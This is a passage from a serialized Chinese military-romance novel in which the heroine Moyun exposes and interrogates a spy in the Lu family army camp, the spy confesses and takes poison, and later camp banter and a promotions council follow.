“你娘以前总说，有花折花，有月赏月，她乐意就好！”元帅忽然想着笑了，笑得眼角都带着些微的湿润：“你娘是柳家出生，可她从不喜文绉，你奶奶便说她不知书读到哪儿去了。她就直着性子冲你奶奶说，我乐意。她这不就是跟自己添堵？上次你奶奶说茉云说话粗鲁，她满脸坦诚的跟你奶奶说，老太君说得是，我主要是怕您听不明白，把你奶奶气得冒烟，却也拿她没法子。你娘若还在世，定也会很喜欢这丫头的！”
正啸无语的望向元帅，方茉云这一身棱角，又嬉皮笑脸的样子，他娘素来严肃且刚正，能受得了？
元帅笑着回忆着，他的话语渐渐低了下去，闭上了眼睛，脸上的笑意却还未散去，显然在这些回忆中找到了片刻的安慰。
正啸站在床边，他轻轻为元帅盖好了被子，又看了一眼父亲脸上那未散的笑意，最终深吸一口气，转身走出了营帐，夜风迎面而来，将他胸中的复杂情绪吹得散落在夜空中……好花须买，皓月须赊，她乐意就好。
237.值否
清晨的阳光透过帐窗洒到榻上，茉云缓缓睁开眼，迷迷糊糊地坐起身来，头还有些昏沉，她用手揉了揉太阳穴，喃喃自语：“我昨晚……喝了那么多吗？怎么醉成这样？”
不过，她感觉到全身暖洋洋的，那种温暖让她这几天连日奔波的疲惫一扫而空。她伸手拨开被子，正准备起身，却忽然愣住了——
她低头看向被子，盖在被子最上面的是一件再熟悉不过的披风。
那是正啸的披风，深黑的绣金纹路厚重深沉，让她一下便认了出来。她怔了怔，随后伸手轻轻触碰到披风，指尖仿佛还能感受到他微微残留的温度，以及……他独有之气息。
茉云的嘴角不由自主地微微上扬，眼中透出一丝柔和。她忽然不知道是因为酒，还是因为这披风让她这一夜睡得格外安稳和温暖。
帐外习武场上练兵之时那铿锵有力的口号声不断传来，瞬间让她从醉意中又清醒了几分。与此同时，小马的声音也从帐外传了进来，带着几分急促：“头，我和陆润吉回营了！事有蹊跷！”
茉云的目光瞬间变得冷厉，眼中透出一抹狠戾之色，抬声说道：“好，帐外等我。”
“是！”
她麻利地换上干净的衣裳，走出营帐时，那股凌厉的气势瞬间取代了她方才的慵懒与柔和。
帐外，小马和陆润吉恭敬的站在那里，手里拿着昨日茉云给他们的行军地图。他们见茉云出来，迅速靠近几步，低声在她耳边禀报调查之事。
听完，茉云的眉头越皱越紧，眼神中透出一丝寒光。她猛地握紧了行军地图，声音冷厉的说：“小马随我去帅营，润吉去请白神医来。”
两人马上抱拳答道：“是！”
他们快步走向元帅营帐，到了帐外时，亲兵立刻上前通报，元帅营帐内传来元帅爽朗的声音：“让茉云他们进来。”
茉云撩开营帐走了进去，扫了一眼营帐内，此时，元帅正与正啸、魏副帅、崔老将军、周总教头、沧海、若辰等人围在行军地图旁，听着探营一队队长王强与副队长王长诚的汇报。王强显得神色自若，而王长诚则低头沉思着，似乎在回忆探查的细节。
茉云径直走到帐中中央，还未等元帅开口询问，她便抱拳说道：“元帅，冒昧打扰您，末将也许得耽误您半个时辰，抓个军中细作。”
她的话音一落，帐内的气氛瞬间凝滞，所有人都抬起头，目光齐刷刷地看向她。
元帅眉头微微一挑，正准备开口，却见茉云已经快步上前，指向地图中昨日元帅提议建立哨站，而正啸有所质疑的区域，冷声问道：“此地，是谁去探查的？”
王强愣了一瞬，目光不由自主地望向身旁的王长诚。
“王长诚。”这一瞬间，茉云的目光如鹰隼般凌厉，直直盯向王长诚，嘴角勾起一丝冷笑：“好！我知道你自小家中变故，爹走得早，娘一手带大，你和王强是最好的朋友，对吧？”
王长诚闻言，面色微微变了变，眼神中透出一丝警惕：“是，云姐说得没错，您为何突然提起这些？”
茉云冷笑了一声缓缓走近一步，眼中寒光乍现：“原来你爹走了的意思，不是去了西天，而是回了峑戎吧？”
此话一出，整个营帐瞬间一片死寂。所有人都被茉云这番话震得愣住了，目光纷纷投向王长诚，而王长诚的脸色也在这一刻变得煞白。
元帅的眉头紧紧皱起，脸上的笑意早已消失，取而代之的是一片冷肃。他目光如炬地看向王长诚，声音低沉却带着强烈的威压：“茉云，你可有证据？”
茉云嘴角的冷笑更深了几分，回头看了一眼站在她身后的小马，冷声说道：“小马，把东西拿上来。”
小马应了一声，上前行礼后，抬手便指向行军图上，元帅标记的新哨岗营据点说道：“元帅，昨日一早方校尉让我随润吉参将去往此地探查，果然发现了蹊跷，这个所谓三面环山的据点其实是近年新造的，润吉参将说这山土和当日裴桥外炸山的山土颜色相似，都是地底翻出的新土。”
众人吃惊的看向小马从兜里倒出的松土，王强吃惊的马上拿过来在掌心搓了搓，闻了闻，然后深吸一口气看向王长诚说道：“这确实不是山表的土，一点草木落叶根茎的气息都没有……”
小马继续说道：“而且我们沿着山道找到了一个隐蔽山下的洞穴，外表像是动物巢穴，内里其实是暗道，如果我们顶上建哨岗，他们山下洞内利用暗道运来火药，轰的一声，顷刻间可将哨岗全部报废，一个都跑不出，到时候南营失了哨岗，他们便可长驱直入！”
说完，众人还在惊诧于敌人的诡计时，茉云眼神冷冽如刀，话音一落，便猛地抬起一脚，狠狠踢向王长诚的胸口。
只听“砰”的一声，王长诚直接被踹飞坠地，随即一口鲜血喷了出来。他趴在地上，却也没有半分挣扎。
小马见状快步上前，双手将他死死擒住。押解之中——一只小红瓶从王长诚身上滑落。
王强站在一旁看到这一幕，脸色骤然大变，随即“扑通”一声跪在了地上，满脸惊恐，可是声音带着几分颤抖与恳求：“元帅！大将军！他……他一时糊涂！求您饶他一命！”
他跪在地上，狠狠地磕了一个头，额头重重地撞在地板上，发出沉闷的声音。可众人目光凝重纷纷皱眉，军中素来最恨细作！
执礼和东山站在一旁目光冷峻地对视一眼，他两深吸了一口气。原来竟是王长诚。这几日，他们将那十几名细作一一查清，筛查了数遍，可这十几名细作都没有机会轻易进出大将军和元帅的营帐，又怎么会知道正啸的行程。
可王长诚他跟随在王强身边，而王强，是营中深受大将军和元帅信任的探营队长之一。他可以随时进出元帅与大将军的营帐汇报敌情，自然是知道正啸的行程。
茉云眼神冰冷地直直盯着跪在地上的王强，冷笑了一声，声音中透着无法掩饰的失望：“王强，原来终究是你坏事！”
王强怔了一瞬，猛地抬起头看向她，眼中透着震惊……他的嘴唇微微张开，可却发不出任何声音，他完全不知道王长诚之事，更宁死都不会出卖大将军。
茉云却不给他任何开口的机会，声音冷厉，句句如刀：“没有你，他不可能知道大将军的行程。允你入军，你可当真能耐，差点害死大将军！”
她的话如雷贯耳，字字直刺王强的心，他猛地抬头，眼神中充满了被背叛的痛苦和祸及大将军的懊恼：“我……”
“你还妄图为他求情，你不该跟他一起死吗？”茉云眼中寒意更深。
此时王长诚终于挣扎着眼眶红了说道：“王强压什么都不知！他是被我骗了！”
王强的脸色苍白双唇颤抖，双眼充满了绝望，却一句话也说不出口。
茉云缓缓走过去，弯腰捡起地上的小红瓶，手指捏了捏瓶身，随后转身将瓶子递给刚刚走入营帐的白神医。
白神医接过瓶子，拔开瓶塞，微微一闻，脸色立刻一变，吃惊地说道：“鹤顶红！”
一旁的白神医徒弟不言马上凑过来，接过瓶子仔细端详了一番，嘴里忍不住吃惊的说道：“好家伙，这等高级货……哪儿来的？”
他的话音刚落，却瞬间感受到营帐内众人投来的严肃震惊的目光，立刻缩了缩脖子，不敢再多说。
茉云眼光重新投向跪在地上的王长诚，带着冰冷的笑意：“谁给你的？”
王长诚脸色惨白，却缓缓地开口回答：“集益将军。”
“嗯。”茉云点点头，对这个答案显然不感到意外，笑着继续问：“那为什么不依命令行事？”
王长诚吸了一口气，抬头坦然地看向茉云，说道：“我就算死，也不会害云姐你的！”
营帐内一片寂静，众人目光复杂地看向茉云，而她只是冷冷地看着王长诚，神色如刀，没有任何动容：“既然接受了峑戎暗营的命令，却又不执行，不也是死路一条？”
王长诚低下头，声音低沉却带着一丝悲凉：“我没有接受这个命令，集益将军是想处死我，是幽戎大帅出现了，他说‘你们记住了，卢正啸不能死，我一定会亲自打败他，杀了他。至于方茉云，哪怕杀了全天下的人，也不能伤她分毫。即便是长诚和集益伤了她，我也会杀了他们。’”
此话一出，营帐内众人皆是一震。元帅、魏副帅、崔老将军等人全都露出更为震惊的表情，神情复杂地看向王长诚。
而茉云则挑了挑眉，嘴角维持着一抹凌冽的笑容：“所以，这瓶毒药是给朗川公主的？”
王长诚咬了咬牙，点头承认：“是。”
执礼深深吸了口气，这果然是峑戎的阴损的手笔，若是朗川公主死在南营，那么朗川国国主定会勃然大怒，邦交定会引起轩然大波。
茉云轻轻一笑，眼神中的寒意却更加深了：“人都来了几天，为何
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迟迟不动手？”
王长诚犹豫了一瞬，低声说道：“因为……云姐，您常常出入她的营帐，我怕您误食。”
“呵！”茉云冷笑了一声，目光如刀般直刺王长诚，“所以，你便给我下了迷药，想让我倒下几日？我还说呢，昨日那点酒，我怎会醉得连神智都不清了。”
她俯下身看向王长诚，语气愈发冷冽：“王长诚啊，你若真想回到峑戎干一番大事，就不该被这些所谓的情义牵绊。若集益在此，他的主子哪怕将他碎尸万段，他也会想尽一切办法杀了我！”
王长诚的泪水涌了出来，哽咽道：“我从小受尽白眼和非议，是云姐你说，父母给咱一条命，要抬起头活得像个人。是你让我跟王强做朋友，让我娘迁到了山顶村里，过了这些年安稳的好日子！”
茉云冷笑着看着他：“是吗，所以谢谢你用这样的方式报答王强和我。”
王长诚的泪水止不住地流下来，声音颤抖着说道：“可是我没有办法，我也是我爹的儿子……”
茉云目光瞬间闪过一丝犀利如刀的神情：“你爹是谁啊？能让幽戎说出‘即便是你’这几个字。”
王长诚抬起头深吸一口气，抬头说道：“厄戎。”
话音落下，整个营帐内骤然一片死寂。元帅、魏副帅、崔老将军等人脸色皆是一变，甚至连一向冷静的正啸都双眉微蹙。
而茉云却猛然抬起头大笑了起来，声音中透着难以言喻的阴鸷：“原来是故人之子啊！好！”
王长诚忽然一口鲜血喷涌而出，整个人瘫倒在地，旁人皆被这一幕震住。白神医迅速上前，伸手探了探他的脉搏，随即掰开他的下颌，面色骤然一变，沉声道：“他服毒了，牙中□□。”
王长诚虚弱地抬起头，目光缓缓转向王强，眼中透着无尽的歉意，他嘴唇颤抖，艰难地吐出几个字：“对不起，王强……”
王强震惊地看着他，整个人愣在原地，下一秒泪水夺眶而出。他跪在地上爬过去，死死抓住王长诚，声音颤抖的哭喊道：“长诚！你为什么？你真是蠢，蠢到家了，你爹弃了你和你娘，那些混账有什么值得你如此的！”
从小到大，他与王长诚是形影不离的挚友，无论是苦是难，两人都一起扛。就算是再穷苦的日子里，长诚就是山上摘到一个甜果子，也会攥着不吃，留着回来分他一半。这样的兄弟，这样的情谊，他从未想过会有如此结局。
王长诚虚弱地说：“对不起……我没有办法……我是我爹的儿子……但我真的没有一刻想要背叛你和云姐……”
他的目光缓缓移向茉云，眼中满是歉意与复杂的情感，声音却越来越微。
“云姐，我从未想害你，但是我觉得，这世上没有人比幽戎大帅待您更赤诚。”
茉云听到这话，面无表情，眼神中没有丝毫波动，只是冷冷地站在那里，俯视着他。
王长诚声音越来越虚弱，可他坚持将话说完：“他问我……为何不害你。我把您小时候告诉我的那句话……告诉了他。他笑了……”
他的声音越来越低，众人几乎屏息才能听清，听他断断续续地说道：“他说……卢正啸并不懂你……也不可能成为你此生真正的依靠。卢正啸眼里……只有他冷漠……且道貌岸然的所谓正义使命……他永远不会回头看你一眼。人中有兽心，几人能真识，他想问你……若你最终求而不得，你会觉得自己所付出坚持的一切……值否？”
话音未落，王长诚的手无力地垂了下去，眼睛失去了焦距。
帐中的气氛一瞬间凝固，众人都怔怔地看着倒下的王长诚。王强跪在地上泣不成声，双手颤抖着，满脸是泪喊道：“长诚！长诚！”
即便是元帅与魏副帅这样的老将，面色也多了几分复杂的叹息，毕竟是一条年轻的生命就是这般逝去了。而正啸站在一旁，依旧目光深沉波澜不惊，面容上看不出任何情绪。
然而，整个营帐内，只有茉云脸上还带着一丝几近残忍的冷笑。
“真是奇了怪了，突然很想你能活着回去，好帮我带句话给你主子！”茉云的笑容中带着一丝寒意与凌冽，“跟他说，关他屁事，老子乐意。”
说完她毫不留恋地迈步走出营帐，背影笔直而冷峻，仿佛这所有的一切，都不会在她心中留下丝毫波澜。
营帐内，众人依旧沉默。只有王强伏在地上痛哭失声，而白神医缓缓合上王长诚的眼睛。
238.选择
茉云从营帐中冷冷地走出来，步伐稳健面无波澜，好似刚刚发生的事情与她无丝毫干系。她眼中那寒光让每一个迎面遇上之人，皆下意识地低头躲避。
她没有任何迟疑，在元帅处请了令，直接带着小马，太易等人，开始排查与王长诚关系密切的所有人，但凡是有嫌疑之人，无论职位高低，她都会一一排查。
茉云的排查像掀起了军营中的一场风暴，在她的凌厉与严酷逼问下，又揪出了一些隐藏极深的细作，其中甚至不乏旧人，还有些是长诚刚刚以金钱诱惑发展的细作。
她亲自审问，那凌冽的眼神，毫不留情的狠戾，让人闻风丧胆。那些细作无论如何狡辩，最终都被她用残酷的事实逼得崩溃，就算是清白之人，经过她的审问，走出之时亦是面容惨白，脊梁骨都透着凉。军营之中好似笼罩了一层森冷的寒意，每个人的心头都透着惶恐。
连魏副帅在元帅帐中，看着那些被带出之时粪尿都失禁之人，不禁皱眉说道：“没想到，这丫头一女子，竟然狠戾至此。”
元帅沉思了片刻，缓缓叹了一口气，却没有多言。
渐渐夜幕降临，整个军营都在肃杀的气氛中渐渐安静下来。茉云走出了营帐，偷偷走到了南营中最远的哨岗。她站在那里，静静地望向苍茫的边关，眼中有一抹晦暗的情绪，却无人能够读懂，皆绕行之。
夜渐深风愈加刺骨，她轻轻抬头，看着天上那稀疏的星光，忽然轻叹了一声，纵身一跃翻过哨岗，飞身出了南营。
然而，她才走了没几步，便在前方不远处的黑暗中，看到一个健硕的身影正静静地站在那里。她定睛一看愣了一瞬，随即皱眉：“你为何在此！”
正啸从黑暗中缓缓转身，月光照亮他冷峻的面容。他身姿挺拔，目光如鹰般锐利，他在此当然是等她，亦是逮她。
茉云没好气地说道：“怎的？我就想走走，可否？”
正啸没有多言，只是淡淡地抬起手，语气不容置疑的说道：“可以，酒壶留下。”
茉云深吸一口气，带着几分忿忿不平说道：“天气冷，凉入我骨缝了，让我去喝口酒怎么了？我未在营中喝，不会有损你大将军的威信！”
正啸没有理会她的抱怨，白神医跟他说过，这丫头借酒御寒的习惯，实乃伤身，特别是她这样的体质，喝酒实属治标不治本。
正啸保持着伸手的姿势，目光淡漠而冷峻：“军令如山。”
茉云咬紧了牙，却只得狠狠地解下酒壶用力丢给他，眼神中却满是失落。
正啸接过酒壶，平静转身向前走，说道：“跟我回营。”
茉云深吸一口气站在原地，愣愣地看着他那冰冷而又笔挺的背影。见她还没动，正啸便停下脚步，转身一把抓起她，直接拎着她往营地走。
“放开我！”茉云挣扎着，却发现自己根本挣脱不开，只能忿忿地跟着走。
然而，就在这被他紧握住手臂的一瞬间，一股温暖的暖流顺着他的掌心传入她的身体，好似顷刻驱散了刺骨的寒意。她怔了半刻，正啸是在传自己内力为自己驱寒……她眼中的怒火瞬间减了几分，却还是不服气地说道：“我喝点酒多好，干嘛非得抓我回去，你内力有多啊？”
正啸目光沉静的瞥了她一眼，语气中透着一丝愤怒：“因为人中有兽心，几人能真识。”
茉云愣了一下，这话是白日里王长诚说他不值得自己付出之时，人骂他说的话。她怔了片刻，忽然“噗嗤”一声笑了出来，眼中的怒意也被冲散了不少。
正啸无语看向她的笑脸，眼中划过一抹复杂的情绪，淡淡说道：“昔日顾叔走的时候，你是如何宽慰父帅的？”
茉云自己当时劝慰元帅，说人难两全，走了亦是解脱，茉云最终叹息了一口气说道：“没想到厄戎也跟顾将军一样，有个私生子，却把他藏了起来……你想知道顾将军的儿子在何处吗？”
“不想！”正啸斩钉截铁的说道，“你最好自己都忘了！”
茉云看向正啸的背影微微一怔，他……终究是与自己不同，峑戎为何会费尽心思找到厄戎的儿子，因为他们知道，他会是一把利剑。顾将军儿子也会是……这等利剑，自己和幽戎这样的人都会用，可卢正啸不会。
幽戎其实说得没错，幽戎和自己本是一类人，是为了赢，为了不低头，可不惜万物之人，从深渊爬出，就是为了将那些曾经让他们跌入深渊之人，都拖入深渊的。
可她碰见了卢正啸，却看见了另一种姿态，他亦生在荆棘丛中，水深火热，此生皆是逃过一难又是一关，但他却不屑也从不俯瞰晦暗阴棘，他生来就如苍天大树，仰头便是光芒万丈，不畏身下的浊世深渊。
茉云看着他的背影，其实她不知道自己与他面对人世的态度，到底谁对谁错，此刻只能乖乖地跟着他往营中走，心中有一抹即使自己不愿承认也存在的温暖，在寒夜中静静弥漫开来……
刚走到自己营帐门口，就看见了来探望她的若辰和执礼，当他两见到这一幕顿时忍俊不禁——正啸一手拎着她，另一手拿着她的酒壶。茉云一抬头，便狠狠瞪了他们一眼。
正啸却不理会，随即抬目对若辰说道：“有劳你替我给她画副画像。”
若辰愣了半刻，满脸质疑地望向正啸——这位仁兄素来冷酷严峻，绝不是那种会随意讨要女子画像之人，何况是当着人的面。
正啸丢开茉云的酒壶给千山，又冷冷地补了一句：“画好后交给你夫人，让她拿着画像去城里告知所有的酒楼、酒窖。谁再敢卖酒给她，我就砸了他店，赔钱给他，别处开去。而且从今往后，军中有谁敢帮她买酒，我就剁了谁的手！”
茉云顷刻间怒火中烧，猛地瞪向正啸：“卢正啸，你是人吗？”
正啸丝毫不理会她的怒骂，抬手将她甩进了营帐内，转身头也不回地离去。
“天杀的！”茉云气急败坏地看着千山抱着酒壶快速溜走，顿时大骂：“千山！你把酒壶还我！”
千山却早已跑得不见踪影。而执礼也忍不住笑着，边跟着小跑离开，边说道：“放心吧！天要亡少主，您也不会袖手旁观的！”
茉
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云抬脚朝执礼踢去，可惜没踢中，只能指着执礼的背影威胁道：“执礼，昨日老子还救了你，你个忘恩负义的，有本事别跑！”
若辰笑得不行的将手中拿着的一篮果子递给茉云，茉云没好气的拿过一个咬着吃，顿时果香溢满口，她看了一眼甜美多汁的果子，心里稍微舒坦了点，伸手就拿过了篮子抱着吃，可越想越气，他把自己酒壶都没收了！
她嚼着果子，恶狠狠地说道：“你说，他怎么总能逮到我？是有人给他报信吧！”
“你每次替他解围之时，是有人给你报信吗？没有吧。”若辰笑着看向茉云意味深长的说道，“大抵是……”
茉云大口咬着果子没好气的看向若辰，等他说完。
“是……你两心有灵犀吧。”
茉云顿时给了若辰好大一个白眼，忿然骂道：“那个王长诚，不愧是厄戎的儿子，临死居然还要阴我一把，在军中散布这等谣言，我方茉云何曾靠过谁，我要靠卢正啸在军中立足吗？”
“当然没有，卢正啸靠你！”若辰嘴角上扬地故意调侃道。
茉云顷刻间恶狠的瞪向若辰说：“大晚上的，你不是想挨顿邹吧！”
若辰温润的笑了说道：“白神医跟正啸说了，你得少喝点酒，身体寒凉靠酒驱寒，终归治标不治本！”
“白神医跟他说干嘛！”
“不跟他说，这世上还能跟谁说！”
茉云瞬间火冒三丈，一拍桌子就要起身去找白神医理论。正当她起身时，却见周总教头端着一碗热腾腾的面走了进来。她愣了一下，目光完全被那面吸引。
“到哪儿去？”周总教头没好气地瞪了她一眼，将面放到桌上，“别一天到晚咋咋呼呼的！听万莫说你晚饭都没吃，给你下了碗面，快点吃了。”
茉云本还气得不行，可一看到那碗香气四溢的热汤面，眼睛瞬间亮了起来。“哇！”她开心地坐到桌边，拿起筷子，笑得像个孩子一般。
若辰淡淡的笑了起身，准备随周总教头离开，他瞥了那碗面一眼，那家伙最近心思倒是越来越细腻了，万莫又岂是那种随意去说这些事的人，还偏偏找到周总教头说。
周总教头边走边没好气的数落道：“一个女孩家，一副这般狠辣地模样，我看你以后怎么嫁得出去。”
茉云却丝毫没理会他的碎碎念，埋头大口吃着面，满脸幸福的表情。大快朵颐地吃完后，她整个人都觉得暖暖的，心中的怨气也散了大半，美食当前，她万事皆可抛。
她放下筷子，眼前的碗里只剩下热气的面碗，依旧热气氤氲，缓缓升腾，在夜晚的寒意中显得格外暖人。
茉云想起自己素日的冷厉与狠戾，竟然能在此刻平静下来，是他们这些随他一并闯入了自己世界的人，不经意用这些琐碎而细微的温暖和正气，感化自己吗？
她走出营帐抬头望向满天星辰，想起遇见他的那个夜晚……她轻轻的嘴角上扬了，其实幽戎说的她懂，是幽戎没有懂，明知故犯从来都不是错，而是选择，是她选择偏执于第一眼就喜欢上的……
239.例外
翌日清晨，天刚破晓，正啸便已站在习武场正中央，亲自带兵演练。他的身影在晨雾中显得格外挺拔威严，将士望见他的身影都觉之振奋人心。
茉云则远远抬目看着士兵们随着正啸齐声呐喊，所幸正啸顷刻能为整个军营注入了一股凝聚的力量，将昨日的人心浮动，瞬间驱散……
日上之时，元帅召集诸将军到营帐议事，茉云也被要求列席。她一脸冷厉地走进元帅营帐，所到之处众人不禁抬头看向她，眼中皆带着一份深深的敬畏。
她刚走进营帐，就发现王强站在一侧，神情显得有些低落，脸上青一块紫一块，鼻青脸肿的，显然昨夜经历了什么……
太易走进王强身旁，忍不住小声问道：“你这是咋了？”
王强闻言叹了口气，显然还有些心有余悸，缓了半刻后才说：“昨晚我一时冲动，去求大将军处置我，本想以死谢罪，或者让大将军打一顿，再将我赶出军营也好，结果……”
众人皆望向王强，王强却顿了顿，抬手揉了揉鼻子，语气带着几分郁闷。
“结果大将军看都没看我一眼，就命人揍了我一顿，说将我打清醒点，别没事找事就行……”
“哈哈哈——”他话音未落，茉云和小马他们已经忍不住哄堂大笑，其他几位将领也忍俊不禁。
王强气得脸色发红，瞪大了眼睛愤怒地望向茉云，恼怒地吼道：“你们笑什么？！有那么好笑？”
“大将军要处置人自然会处置，你看头，在大将军跟前捅过多少篓子，你何时见她去大将军跟前认过错，求过责罚？”小马笑得不行说道。
茉云闻言便要反驳，正义凛然的指着自己说：“这话说的，我如此优秀！”
“就是，咱云姐如此优秀，素得大将军青睐！”太易也一脸义正言辞的说道，“大将军怎可能命人责罚于她！”
“对！每次都是大将军亲自动手！”小马接过话亦严肃的评价道。
“扑哧”顿时众人哄堂大笑，就连元帅都笑得不行，茉云没好气瞪着他们两，顿时营帐内的气氛缓和了很多。
此时正啸一脸严肃的走入营帐，浑身还散发着凌冽果断之气，定然亦是听见了这番攀谈，因为跟在身后的执礼亦被逗笑了。元帅咳了一声，掩饰住自己嘴角的笑意，抬手示意众人安静，正式开始议事。
元帅目光扫过帐中众人，沉声说道：“今日召集诸位将军来此，是为了布置重新考证行军图一事。此事，仍然由王强的探营一队负责。”
王强闻言微微一愣，深吸了一口气。他抬起头看向元帅，眼中满是感激之情。尽管长诚的事情给他带来了重创，但元帅和正啸的这番信任，让他感受到心中阵阵暖流涌动，他顷刻将背脊挺得更直了，眼神中透露出一种比以往更加坚定的信念，或许正是昨日这一“劫”，让他成熟了。
元帅接着说道：“用人不疑，疑人不用。不要因为细作之事扰乱军心。卢家军中永远正气长存，不畏宵小！”
帐中众人闻言，皆是肃然起敬纷纷点头，魏副帅和崔老将军等人也露出了欣慰的神色。
元帅的目光落在威行身上，继续布置道：“此次重新考察军图，由威行将军带队，再带上小马、太易、石川，这几个小子骑术精湛，和王强一起负责修正、监督。行军图乃行军之本，必须做到万无一失！”
众人立刻抱拳接令，声音整齐有力：“是！”
元帅又看向站在一旁的雄山和润吉，目光中透出一抹赞许，他的语气缓和了几分，笑着说道：“今日让你们两人也列席会议，是因为本帅已经向圣上上书，提拔你们为将。不日，旨意便会下达。”
雄山和润吉愣了一瞬，随即立刻跪下谢元帅：“多谢元帅栽培！”
元帅大手一挥，语气中带着几分欣慰：“起来吧。大将军一直坚持举荐你两，雄山一向行事干练谨慎，屡立战功从未出过差错，而润吉坚守裴桥，立下赫赫战功，提拔都是理所应当。”
营帐内，众将听闻此事，纷纷露出欣慰的笑容，为两人感到高兴。特别是威行，他与雄山情同手足，听到好友被提拔，心中更是喜悦，甚至忍不住拍了拍雄山的肩膀以示庆贺。
然而，润吉却猛地抬起头，目光坦然而直率地看向元帅，沉声说道：“末将不敢受此提拔！裴桥之功，实在是方校尉为首功。”
此话一出，帐内顿时安静了下来。所有人的目光都顺着润吉的手势，转向了茉云。
而此时的茉云正撑着头，一脸无所谓地靠在椅背上，漫不经心地走神，直到她意识到众人的目光都集中在自己身上时，才猛然一怔，抬起头环顾四周。
元帅见状，忍不住笑了一声，意味深长地看了茉云一眼，随即说道：“方校尉，此事你可有何想法？”
小马马上在茉云的耳边小声告知他，元帅说要提拔润吉和雄山，润吉推脱说裴桥之战茉云是首功，他不敢受提拔，元帅在问她什么想法。
茉云无奈地扫了润吉一眼笑笑，笑容中带着她那惯有的坦然与洒脱。
她忽然眼神一转扬了扬眉，轻轻一咳润了润喉咙，一脸义正言辞的说道：“润吉兄，切莫这么说，裴桥一役，人人有功。于我个人而言，那只当是——愿得此身长报国，何须生入玉门关，生死皆可置之度外，功名利禄算什么？”
润吉正想开口，却被她这句话镇住了，愣了半刻望着她。
而帐内众人闻言，顿时哄堂大笑，他们谁不知道茉云是个什么德性。元帅亦笑出了一脸的褶子：“你这丫头，啥话到你嘴里都是个乐子！这些日子你在军中，鹿里正好也不在，你在军中帮他带带骑射营。”
“是。”茉云应道，说完依旧靠回椅背一脸散漫。
元帅却毫不在意，目光中带着几分欣赏，然后望向正啸，正啸一脸的冷漠，眼神就拒绝了元帅对茉云的赏识，他是肯定是不会轻易提拔她的。
元帅无语的收回了目光，扫了一眼帐内众人，沉声说道：“好了，军务已定。诸位，各自行动吧！”
“是！”众人齐声答道，随后纷纷起身行礼离帐，而茉云依旧慢悠悠地起身。
此时元帅又说道：“对了，今晚本帅会设宴为朗川公主送行，她今日派人来说，明早便会启程回朗川，茉云和小马也列席，你们跟她相熟。”
“是！”
话音刚落，元帅冲着起身准备迈步离开的正啸骂道：“你往哪儿走，人之前救了你，这次人来就是来探望你的！看你这意思，人要走，你没打算送行啊！”
正啸停下脚步无奈地皱眉道：“父帅，不必非得……”
话还没说完，就被元帅一瞪眼打断：“你不来试试！”
“我知道了！”正啸只得应承，但神情依旧一脸冷峻，素来赴宴就是他最不感兴趣之事。
元帅看着正啸这副表情，摇了摇头，对魏副帅感叹道：“你说，这小子啊，自小怕是军中呆久了，看女子这个不顺眼，那个没兴趣。我看他以后怎么办？活了这么些年，一个相好的都没有，你说咋办？”
此时茉云正放下手中的茶杯，看向小马一本正经的评价道：“元帅问魏副帅这个问题？这算问对人了！”
营帐中瞬间传来压抑不住的笑声，崔老将军笑得最开心，谁都知道魏副帅一生未婚，年轻时一说成亲他就跑，所以他们老兄弟总拿此事调侃他。
魏副帅无奈地摸了摸胡须，笑着说道：“这小丫头片子，还敢拿我来消遣是吧？”
连元帅自己也笑出了一脸褶子，转头看向茉云，半带认真半带玩笑地说道：“那老夫问你，你说，咋办？”
茉云抬头望向元帅，嘴角一勾悠悠笑意说道：“您怎么知道他没有？”
一句话如同一石激起千层浪，原本哄笑的营帐瞬间安静了几分，所有人都望向茉云，随后元帅眯起眼睛，停顿了一下，追问道：“谁啊？！”
若辰和执礼对视一眼，也齐刷刷地转头望向茉云。
茉云却依旧神色如常，缓缓说道：“上次我得罪了大将军发妻的义弟边鸿远，被贬去南元，是万莫一路送我过去的。我便让万莫将跟大将军有干系的女子尽数告知于我，免得日后再有所冲撞。万莫是个实在人，他挠着头说了一路，要不然我怎会知道朗川公主这号人物，您看，关键时候不还救了大将军一命吗？”
千山这时终于憋不住了，吃惊地瞪大眼睛看向万莫，愤怒的问道：“你跟她说这些干嘛？”
万莫挠了挠头，一脸疑惑地说道：“茉云是自己人，为何不能说？”
“你！”千山顿时语结，说不出来，可是眼神中无奈至极。正啸自幼出生尊贵，又受圣上青睐，生得又是威武霸气，自然自幼从不乏钦慕他的女子。
“没事，哥，茉云说了，她以后绕着走，不是要下手，再者她说一个两个还能下手报复一下少主，这么多，也不好下手！”万莫满脸坦然的说道。
营帐中顿时笑声震天，若辰和执礼都忍不住笑着摇头，众人笑得各有深意。只有正
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啸依旧一脸冷漠，只有眼底中透出一丝无奈。
茉云自然捕捉到了正啸的表情，她眼中闪过一抹狡黠的笑意装作若无其事地走出营帐，便看见威行等在营前凑了过来。
他面带笑意压低了声音说：“茉云，你可知，朗川公主身边那个护卫队长，是个箭术高手。这几日他在习武场，看向我们卢家军的骑射营，那表情……一脸的不屑！”
茉云挑了挑眉看向威行，闻言便若有所思。
威行压低了嗓音，语气中带着几分不忿：“大将军有伤在身，鹿里又不在。您可得替咱争口气，去灭灭他的威风！”
茉云也忽然想起，当日自己佯装与朗川公主争吵离营时，追杀自己的那一箭——那箭凌厉而精准，破空之声刺耳，若不是自己有“听风辨箭”的本事，恐怕早已当场殒命，开始自己还以为那箭是卢正啸所发，当时就气炸了，可后来发现不是，居然是朗川公主的一个小小护卫队队长。
她缓缓抬起头眼神微冷，这样的箭术自是不同凡响，她心中顿时警觉了几分。
“好！”茉云喃喃低语，语气中带着几分玩味，又透着几分寒意，“我去会会这位护卫队长了！”
威行闻言便开心地连连点头，眉眼间满是期待。
此时周总教头正从旁边路过，目光不经意地扫向威行和茉云，顿时便停下脚步，皱着眉头质疑道：“你们两，嘀咕什么呢？”
威行闻声一震，动作顿时僵住。两人对视了一眼，然后迅速露出一脸傻笑，一边装作漫不经心地晃着手，一边随意地说道：“没事，没事，就随便聊聊！”
周总教头并没有被糊弄过去，目光凌厉地在两人脸上扫了一圈，显然有些不信，警告似的说：“若是再敢破坏军中规矩，看我怎么收拾你们！”
就在这时，正啸也从不远处走过，目光淡淡地扫过两人，两人一刻都没敢耽搁，立刻转身一副若无其事的模样要跑。
“站住！”正啸忽然说道。
两人只得站住缓缓转身一脸乖巧地看向正啸，嘴角还挂着有些僵硬的笑容。
正啸看向茉云轻叹了一口气，语气却温和地说：“自明日始，每日晚膳后，来我营帐中，将几本基本兵法书好好研习一下。”
茉云愣了半刻，满脸不可思议地抬头看着正啸，脱口而出：“啊？！”
